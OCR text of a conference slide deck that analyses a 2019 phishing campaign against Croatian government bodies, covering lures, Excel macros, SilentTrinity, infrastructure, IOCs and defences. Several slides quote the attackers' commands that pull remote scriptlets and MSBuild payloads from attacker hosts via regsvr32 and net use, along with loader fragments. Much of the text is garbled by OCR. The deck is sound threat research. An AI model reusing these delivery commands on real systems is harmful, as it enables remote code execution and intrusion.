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Payload delivery - p-d

« Last printed: 2018-07-25 00:12:30 (UTC)

« Last saved: 2019-04-01 16:28:07 (UTC)

* First VT submission: 2019-04-02 09:58:13 (UTC)
« Country: HR (Croatia)

« Codepage: 1252 ANSI Latin 1; Western European (Windows)

 Author: Windows User

« Last modified by: Teken

obavijest_c_posilj

kixls
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https://images-na.ssl-images-amazon.com/images/I/41SzJ9FoG-L.jpg

Payload delivery

« Comments: cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):

objShell.Run|"net use https://postahr.vip",|0, False: Wscript.Sleep 10000:

objShell.Run{'regsvr32 /u /n /s|/i:https://postaky.vip/page/l/update.sct

scrobj.dll", 0/ False: Set objShell = Nothing >

C:\users\%username%\appdata\local\microsoft\silent.vb

_ WebDAV server
Squiblydoo

technique

Properties =

& $*¢ 4 »
Windows User
A <8 cmd.exe
fc echo Set objs
hell = CreateOb]j
ect("Wscript.She
11"): objshell.Rr
un “"net use http
s://postahr.vip”
. B, False: Wscr
ipt.Sleep 106888:
objShell.Run "r
egsvr32 fu /n /s
fi:https://post
ahr.vip/page/1/u
pdate.sct scrobj
.dll", B, False:
Set objShell =
Nothing > C:\us
ers\Xusernameiha
ppdatal\localimic
rosoftisilent.vb
s 4 @B Teke
n 4 > Micr
osoft Excel @

J:.ﬁl'#L@@ A-o\
\.f-rie@ A3ubAuwle
v

YT

@ @rr
b.«»¥Y4HQ +, -0D

p Posmve d

Days
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Payload delivery - pk

ac
Days

Home Insert Page

g Insert ~

° After O pe n i n g : =l Gill Sans MT - 11 - A ‘: kg = L _ E 4 I oot -

B 7 U-
Font
Security Warning  Macros have been disabled. Enable Content

va7z - 5

=

G Oﬁlce : ] Ovaj dokument je zasticen !

¢| |. Dokument je zasticen.

a

START %]
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Payload delivery - p-~d

ac
Days

Home Insert Page Li

- After allowing macro: |EESESEES

Hrvatska posta

\‘v

Ivan MNekic

M 4 r M| MAIN

Ready
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Payload delivery phd

Days

 VBA macro:

= VB

e VE Hame
uer ()

uiltinDocumentProperties V B S d ro p

tUntil = How() + TimeValue ("OC

Autorun only, no launch

While How <
ents

& Environs |

End Sub

phdays.com #PHDays



Payload delivery pkd

Days

 VBA macro:

rivate Suk Wo

Dim w2 Lz Worksheet
Each ws In ThisWorkbook.Worksheets

¥x1VeryHidden

Some kind of builder?

veWorkbook.Save
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Payload delivery p-d

Days

: Type or paste the following code:
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https://issuu.com/wiley_publishing/docs/101_ready_to_use_excel_macros_bonus_content_111828
https://stackoverflow.com/questions/52752840/run-time-error-1004-macro-stops-running-if-workbook-with-macro-isnt-the-acti
https://www.dummies.com/software/microsoft-office/excel/forcing-your-clients-to-enable-excel-macros/

Payload delivery - p-d

Hack
Days

« Downloaded update.sct:

L W "1.0

JFEEDACDCE™

function
function
var enc =

sform.TransformFi
new ActiveXObhject (
(length J 4)

phdays.com #PHDays



Payload delivery - PR

Days

« Downloaded update.sct:

var o = namicInvokel{al.ToArray(}} .CreatelInstance {entry class});

} catch (e} {

debug{e.messa

phdays.com #PHDays



Payload delivery pkd
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https://rastamouse.me/2018/05/csharp-dotnettojscript-xsl/
https://gist.github.com/caseysmithrc/454af1cbae28c7ef1e8c73631dd9ff52

Payload delivery

* Deserialized object — PE .NET

» Sharpick - application to load and run PowerShell code via the .NET assemblies

_

phdays.com

#PHDays




Payload delivery pkd

Days

« PowerPick project

ShellEmpire / PowerTools ©Watch~ | 162 W Star | 1045

master v | PowerTools / PowerPick / Create new file | Upload files = Find file = History

WIE.md

= README.md

phdays.com #PHDays


https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick

Payload delivery

» dnSpy decompilation:

rACQAdAAPADSAJABPAHYAPQAKAGQAQDBUAE EAWWAWACAAL EAZ AFBAOWAKAEQAYQBUAEEAPQAI
AcACQASOBWACSAIABLACKAKOBSAEKARQBYAA=="";
string @string = Encoding.Unicode.@et5tring{Convert FrumEaseﬁ45tringds}};
Runspace runspace = RunspaceFactory.CreateRunspace(});
runspace.0Open(};
RunspaceInvoke runspaceIlnvoke = new RunspaceInvoke(runspace};
Pipeline pipeline = runspace.CreatePipeline(};
pipeline.Commands.AddScript(f@string};
pipeline.Commands.Add{"0ut-5tring™};
Collection<PS0Object> collection = pipeline.Invoke(});
runspace.Close(};
StringBuilder stringBuilder = new StringBuilder(};
foreach value in collection}
i
i stringBuilder.Append(value);
¥
return stringBuilder.ToString().Trim(};

phdays.com
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Payload delivery

 Base64 decoded:

_
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Payload delivery pkd

Days

« PowerShell script semi-beautified:

er]::S5erverCertificateValidationCallback = {$trnu}:

quest] : rdefaultwel
stem.net.credentia

5D, §R=5ARgs;

S85=0C.. . I1%{
S5T=(5T+5S[§_1+5K[5_%SK.CouliT]) % ;S5[5_1,85[58T1=55[5J1,55[5_1
1:

SDIB{ST=($I+1)%

SH=(SH+55[5T1)%

SS[5I1,5S[SHI=55[5H],$S[5I1;

5 -bxOr$S[(5S[STI+55[5H]1) %

RCA4 decryption

$1v—$data[
Sdata=S§datal[<..5data.length] ;
—join[char[]] (& §r Sdata (Siv+5k)) |iex
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Payload delivery p-d

Days

Empire Backdoor

comm
iditiona

’http: Jl 148 220.53:80";

/1ogin/process. ph
HEADERJ ADd("Cookie”
: Do&n?oadDatA(

AtA.LENGTh
fR SdaTA (SIV
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https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html

Payload delivery pbE

Hack
Days

TTP[S] Options:

Name Required Descriptio
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https://payatu.com/redteaming-from-zero-to-one-part-1/

Payload delivery - phd

« Last printed: 2019-04-02 08:22:56 (UTC)

« Last saved: 2019-04-02 08:23:28 (UTC) (~ +16 hours)

* First VT submission: 2019-04-02 16:52:56 (UTC) (~ +7 hours)
« Country: HR (Croatia)

« Last modified by: Luzer

obavijest_c_posilj

keixls
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Payload delivery

« Comments: cmd.exe /c echo Set objShell =
CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe
/cinet use \\176.105.255.59\webdavl*,0:Wscript.Sleep 60000: objShell.Run

"%windir%\lMicrosoft.Net\Framework\\M30319\msbuiId.exe
e: Set objShell = Nothing >

\\176.105.255.59\webdav\msbuild.xml" | O,

C:\users\%username%\appdata\local\microsoft\sil

MSBuild inline
technique

SMB server

Positive
Hack

I~

d

ac
Days
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Payload delivery - p-d

Days

* Previous vs current macro:

a iltinDocumentProperties
If prop.
Shell p

WaitUntil = NHow () + TimeValue ("00:00:10™) Shell LlHL."TlI:

End If . Launch added

Hext . End If

Do While How <
DoEvents
: }) + TimeValue ("00:00:30™)
Createlbject ("wscript.Shell™) Do While How < WalitUntil
DoEvents
Loop
L ("Wscript.Shell™) .RegWrite "HEX oftware\Micros
ct ("Wscript.Shell™) .RegWrite "HECUASo

crosoft.He
ute VB Name = "Sheetl™

phdays.com #PHDays



Payload delivery pkd

Days

« Downloaded msbuild.xmil:

II4.C|II

=ngsT" T CodeTaskFactory" &
ft.Net\Framework'v4.0.30319\Microsoft.Build. Tasks.v4.0.d11" >
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Payload delivery phd

Days

« Downloaded msbuild.xmil:

iy
compressed. Length) )
{
inputStream.Write (compressed, , compressed.Length) ;
m.S , SeekOrigin.Begin) !
n=ing (MemoryvStream outputStream = new MemoryStream())
{

n=ing (Deflat

2[] buffer = new bvte[
bytesEead;
while ((bvtesE 5 at -ream. Read (buffer, , buffer.Length)}

{

outputStream.Write (buffer,

}
Aszenkly a
Type t = a
l::ll:!'jEI::'..t cl AT : tivator.Creat nstanc . 1'11.111]- .

object[] { args }):

phdays.com #PHDays



Payload delivery

* Is an example publicly available?
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https://static.wixstatic.com/media/4c45c8_45ff3f0cebdb4d9ea0ee5da015a6b629.jpg

Payload delivery

* Deserialized object — PE .NET
 SILENTTRINITY?

_
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Payload delivery - phd

A few old documents

First VT submission: 2018-08-23 13:20:23 (UTC)
« Country: HR (Croatia)

Last modified by: Stringer

First VT submission: 2018-08-29 09:04:26 (UTC)
X

 Country: ?

obavijest_c_posilj

keixls

Last modified by: Stringer

phdays.com #PHDays



Payload delivery ph
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« Two macro of old documents:

r (Environ
Str(Environ ("WIH

With bStrm

" g fpFont = t & strl & tFont & & ode —f" &£ " "™ g fpFon

phdays.com #PHDays



Payload delivery - pk

Hack
Days

* New vs old macro:

Private Sub Workbook Befo [(Cancel : Boolean)

Dim ws &s Werksneet COmmMments from the guidelines

Unhide the

heets ("START"™) .Visible ®*15k Wisib] heets ("START™) .V

If w=s.Name «>

phdays.com #PHDays



Agenda

Payload delivery

SilentTrinity framework

Attack infrastructure

Takeaways
|OCs

phdays.com #PHDays



SilentTrinity framework phd

 https://www.instagram.com/silenttrinity
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https://kissablezebralipsandotherthings.files.wordpress.com/2015/02/smile.jpg

SilentTrinity framework

 Created: 2018-10-06

« Author: Marcello Salvati

. https://github.com/byt3bl33d3r/SILENTTRINITY

« https://lwww.convergeconference.org/speakers/marcello-salvati/

» https://lwww.blackhillsinfosec.com/team/marcello-salvati/

» https://lwww.irongeek.com/i.php?page=videos/derbycon8/track-
2-05-ironpython-omfg-marcello-salvati

» https://twitter.com/byt3bl33d3r

imglink
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https://www.blackhillsinfosec.com/wp-content/uploads/2018/11/marcello.jpg

SilentTrinity framework iy ph

Hack
Days

Python 3.7 Server
" 1. Request stage.Zip

stage.zip tﬁﬂ

] IPY 2.7.8 Engine
2. stage.zip

Iran Python.dll IranPython. Modules. dll a

A
4. Execute Main. 1 stage.zip
Main.py (Paylo

Microsoft. Dynamic.dll  Microsoft. Scripting.dil 6. Job.py

7. Create Thread
with new IPY Engine

IPY 2.7.8 Engine

8. Job Qutput

8. Execute Job.py

phdays.com #PHDays


https://user-images.githubusercontent.com/5151193/46646842-cd2b0580-cb49-11e8-9218-73226e977d58.png

SilentTrinity framework

« The most interesting features

lIronPython/Boo languages supported
All in memory

Diffie—Hellman key exchange

ZIP and jobs are AES encrypted
Compatible with proxy

HTTP/HTTPS

y
~d
" p Positive
! Hack

Days
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SilentTrinity framework

5T = listeners

5T ( } = use http -

5T ( )¢ ) = set BindIP 18.8.8.5 .
ST ( )(hiio) » set Port 8098 e
ST 3 ) = start

[+] Listener 'http' started successfully!

5T 3 ) » sessions

5T } = Running on https://18.8.08.5:8898 (CTRL + C to quit)

[*] Re-attaching orphaned session from 10.8.8.6 ...
[+] New session 5752e817-9c90-4998-9b85-ef540dcB8d861 connected! (18.8.8.6)

5T } = modules

5T ( ) » use shell

5T ) ) = options

frmmmmmmm——--- frmmmmmmmm-- frmmm e s e e e e e e e —-———---- T R L L LT T TR
| Option Name | Required | Value | Description

o mmmm————--- frmmmmmm—--- T N L L e e L L L L T R
| Command | True | | The ShellCommand to execute, inclu
L e mm === R L L L T T T R 2R L T T R
| Path | False | C:\AWINDOWSWASystem32\\ | The Path of the directory from whi
Fmmmmmmmmm—-—- Fom o mmmmmm—-- Fmmmmmmmmm - o
| Username | False | | Optional alternative username to e
frmmmmmmm——--- frmmmmmmmm-- frmmm e s e e e e e e e —-———---- e T L L L L L L TR R
| Domain | False | | Optional alternative Domain of the
o mmmm————--- frmmmmmm—--- T N L L L T e L L L L L
| Password | False | | Optional password to authenticate
L e mm === R L L L T T T R L L L L TR R
5T 3 } = set Command whoami

ST 3 } ®= run 5752e817-9c90-4990-9b85-ef548dc8d861

[+] 5752e817-9c90-4990-9b85-ef540dc8d861 returned job result (id: iubvRGDj)
[*] Path: C:\WINDOWS\System32\ Command: whoami Args:

phdays.com
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https://raw.githubusercontent.com/davidtavarez/davidtavarez.github.io/master/_images/posts/SILENTTRINITY_screenshot.png

SilentTrinity framework pkd

Days

@ No engines detected this file

2bab11e31d799

DETECTION DETAILS RELATIONS CONTENT SUBMISSIONS COMMUNITY

2019-04-02T14:45:36 -
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Attack infrastructure

« Domains under WhoisGuard, Inc. (Panama) privacy protection

Days

W
L ala
€ P d

b

Domain
konzum.win
postahr.online
posteitaliane.live

postahr.vip

Registered On | Mimics to
2018-05-25 konzum.hr
2018-08-22 posta.hr
2019-01-16 posteitaliane.it
2019-02-06 posta.hr

Industry

Retail

Postal services
Postal services
Postal services

phdays.com
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Attack infrastructure pkd

Days

* |IPs related to Breezle LLC hosting provider (Amsterdam, Netherlands)
« 176.105.254.52
« 176.105.255.59

phdays.com #PHDays



Attack infrastructure pkd

B WHOIS State
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Takeaways p-d

Days

 News of an attack: 2019-04-03

ZAGORJE

INTERNATIONAL.hr

NASLOVNICA  VIJESTI ~ GOSPODARSTVO DOGADANJA

ZAVOD ZA SIGURNOST INFORMACIJSKIH SUSTAVA (Z515) UPOZORAVA NA

CILJANU PHISHING KAMPANJU KOJA JE UOCENA U NEKOLIKO DRZAVNIH
TIJELA

NA|VJEROJATNIJE SE SIRI PUTEM e-

POSTE: U tijelu poruke je poveznica
na zlonamjernu stranicu, na kojoj se
nalazi sadrZaj preuzet sa sluzbenih
stranica Hrvatske poste

Autor: |] | 3/4/2019 | Hrvatska, Vijesti | 0 ®

phdays.com #PHDays


https://www.zagorje-international.hr/index.php/2019/04/03/najvjerojatnije-se-siri-putem-e-poste-u-tijelu-poruke-je-poveznica-na-zlonamjernu-stranicu-na-kojoj-se-nalazi-sadrzaj-preuzet-sa-sluzbenih-stranica-hrvatske-poste/

Takeaways

pt

Posmve d

Days
 Victims: Croatian government departments
REPUBLIKA HRVATSKA
Zavod za sigurnost informacijskih sustava
SIGURNOSNA AKREDITACIJA STANDARDI SIGURNOSTI KRIPTOGRAFSKA ZASTITA
MNaslovnica » Sigurnosn ave » Upozorenje o phishing kampanji
UPOZORENJE O PHISHING KAMPANJI
d za sigurnost informacijskih s (Z515) je u nekoliko drzavnih tijela pod svojom nadleznoscu
ajnoviju phishing kampanju koja se najvjerojatnije Siri putem elektronicke poste.
stranicu hxxps://postahr.vip/.
=] Se i2 a stranica se nalazi na IP adresi
931?{]1D532rmule|c|r1u om posluz ITv.-'||IJI| HIJ_I]._'-'FH |-I]j
phdays.com #PHDays


https://www.zsis.hr/default.aspx?id=415

IEVGCEWEVE

« How to defend?

« Application control over trusted software (certutil, regsvr32, msbuild, net, wmic ...)

 Inspection of links in the maill

« Periodic memory scans

phdays.com #PHDays



IEVGCEWEVE

« Completely open-source but powerful and effective kill chain

« The first SilentTrinity framework abuse we know

« Metasploit, Empire, Koadic ... pros for red teams and cons for defenders

phdays.com #PHDays
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|IOCs .a! phd
« 13db33c83ee680e0a3b454228462e7 3f

* hxxps://[postahr.vip/page/l/update.sct

» Oadb7204cebbde667c5abd31e4dealts

« 831b08d0c650c8ae9ab8b4a10a199192

« hxxps://posteitaliane.live/owa/mail/archive.srf

« [W\]176.105.255.59\webdav\msbuild.xml

* hxxps://176.105.255.59:8089

e 79e72899af1e50c18189340e4aled6e0

« 92530d1b546ddf2f0966bbel10771521f

phdays.com #PHDays



IOCs - pRd
e 78184cd55d192cdf6272527c62d2ff89

* hxxp://198.46.182.158/bat3.txt

e c84b7c871bfcd346b3246364140cd60f

« hxxps://konzum.win/bat3.txt

« 92530d1b546ddf2f0966bbel0771521f

e 176.105.254.52

« postahr.online

e 93.170.105.32

« geomeny.bid

phdays.com #PHDays
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Thank you!

Alexey Vishnyakov
avishnyakov@ptsecurity.com
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Days

" CONSTANT




